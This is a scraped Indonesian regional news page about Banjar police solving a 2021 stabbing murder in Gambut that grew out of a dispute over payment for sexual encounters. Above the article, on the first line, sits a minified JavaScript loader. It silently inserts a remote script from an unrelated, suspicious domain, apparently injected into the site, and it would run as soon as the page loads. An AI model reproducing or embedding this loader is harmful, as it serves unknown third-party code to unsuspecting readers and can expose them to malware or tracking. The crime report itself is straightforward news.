(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BANJAR

Motif Hubungan Asmara Sejenis, Pelaku Bunuh Korban karena Tak Diberi Uang Usai Kencan!


KANALKALIMANTAN, MARTAPURA – Jajaran Polres Banjar akhirnya mengungkap kasus pembunuhan di Gambut, pada Selasa (18/5/2021) sekitar pukul 08.30 Wita. Pembunuhan tersebut berawal ditemukannya sesosok mayat di semak-semak pada Jalan A Yani Km 17 tepatnya di jalan masuk menuju terminal Tipe A Gambut Barakat.

Pada press conference yang dipimpin oleh Kapolres Banjar AKBP Andri Koko Prabowo di Aula Tribrata Polres Banjar, disampaikan kasus tersebut terungkap setelah polisi menelusuri HP korban.

“Setelah kami selidiki, mengerucut informasi kepada seorang pelaku yang dicurigai berdasarkan percakapan dari HP korban,” terang AKBP Andri Koko. Kasus pembunuhan ini dipicu dari kisah asmara sejenis antara pelaku dan korban.

 

Baca juga: Besok, KPU Banjarmasin Tetapkan Ibnu Sina-Arifin sebagai Wali Kota dan Wakil Wali Kota Terpilih

“Tersangka pernah melayani hasrat seksual korban sebanyak 3 kali dan dijanjikan akan mendapatkan bayaran 200 ribu rupiah sekali kencan, dan pada bulan Februari awal mula hubungan terlarang itu terjadi,” ungkap AKBP Andri Koko Prabowo.

“Namun, ketika tersangka ingin meminta bayarannya korban tidak menggubris hingga akhirnya tersangka memukul korban sebanyak dua kali, serta menusuk pada leher dan kepala korban menggunakan sebilah pisau dapur hingga menyebabkan korban meninggal dunia,” lanjut AKBP Andri Koko.

Tersangka berhasil diringkus tim gabungan Jatanras Polda Kalsel, Ditreskrimum Polda Kalsel, Unit Buser Polsek Gambut dan di back up Unit Buser Polresta Medan Polda Sumut saat kabur ke kampung halamannya di Marelan Pasar 9, Desa Manunggal Deli Serdang, Sumut, Minggu (23/5/2021).

Baca juga: Disundul Dump Truck, Pengendara Motor Tewas di Karang Intan!

Tersangka YS (23), warga Kelurahan Guntung Manggis, Kota Banjarbaru ini diancam hukuman penjara maksimal 15 tahun sebagaimana dimaksud dalam pasal 338 Subs 351 ayat (3) KUHPidana. (KanalKalimantan.com/shintia)

Reporter: shintia
Editor: cell


Al Ghifari

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

8 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

9 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

9 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

10 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

10 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

13 jam ago

This website uses cookies.